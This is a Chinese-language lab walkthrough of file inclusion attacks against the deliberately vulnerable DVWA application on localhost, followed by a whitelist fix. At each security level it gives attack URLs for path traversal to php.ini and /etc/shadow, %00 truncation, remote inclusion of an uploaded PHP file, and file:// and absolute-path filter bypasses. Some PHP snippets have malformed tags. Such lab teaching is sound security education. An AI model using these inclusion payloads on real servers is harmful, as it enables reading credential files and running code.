这篇文章主要讲解 File Inclusion 的攻击与防护,
File Inclusion 简单来说 利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
这个练习的成功与否与相关环境的配置与版本有所关系, 因此不一定会完全有一样的测试结果
低安全层级
可以透过观察URL的page参数输入来读取我们希望的文件内容, 举例如下:
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file1.php
http://127.0.0.1/dvwa/vulnerabilities/fi/page=D:\xampp\htdocs\DVWA\php.ini
http://127.0.0.1/dvwa/vulnerabilities/fi/page=/etc/shadow
http://127.0.0.1/dvwa/vulnerabilities/fi/page=..\..\..\..\..\..\..\..\..\xampp\htdocs\dvwa\php.ini
<php
//Thepagewewishtodisplay
$file=$_GET['page'];
>
Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断
因此可以透过下列方式绕过文件后缀名检查
http://127.0.0.1/dvwa/vulnerabilities/fi/page=php.ini
http://127.0.0.1/dvwa/vulnerabilities/fi/page=php.ini%0012.php
当服务器的php配置中,选项allow_url_fopen与allow_url_include , 如果为开启状态就可以进一步利用为上传木马脚本
举例来说, 可以创建一个 phpinfo.txt 内容如下:
<?php
phpinfo();
?>
当上传成功之后可以透过下列URL读取执行
http://127.0.0.1/dvwa/vulnerabilities/fi/page=http://127.0.0.1/phpinfo.txt
中级安全防护
这个防护主要使用 str_replace函数 将相关的危险字符串转换为空白
<php
//Thepagewewishtodisplay
$file=$_GET['page'];
//Inputvalidation
$file=str_replace(array("http://","https://"),"",$file);
$file=str_replace(array("../","..\""),"",$file);
>
相对路径的攻击方式在这个防护下将失效
http://127.0.0.1/dvwa/vulnerabilities/fi/page=…/./…/./…/./…/./…/./…/./…/./…/./…/./…/./xampp/htdocs/dvwa/php.ini
因为验证的路径方式只有限于相对路径, 因此还是可以透过绝对路径的方式绕过攻击
http://127.0.0.01/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini
高安全性防护
高安全级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file, 但是我们还是可以利用file协议绕过
<php
//Thepagewewishtodisplay
$file=$_GET['page'];
//Inputvalidation
if(!fnmatch("file*",$file)&&$file!="include.php"){
//Thisisn'tthepagewewant!
echo"ERROR:Filenotfound!";
exit;
}
>
file 绕过方式
http://127.0.0.1/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini
完整的防护方式
最简单完整的防护方式为白名单机制, 只限定 file1.php, file2.php与file3.php才可以读取
<php
//Thepagewewishtodisplay
$file=$_GET['page'];
//Onlyallowinclude.phporfile{1..3}.php
if($file!="include.php"&&$file!="file1.php"&&$file!="file2.php"&&$file!="file3.php"){
//Thisisn'tthepagewewant!
echo"ERROR:Filenotfound!";
exit;
}
>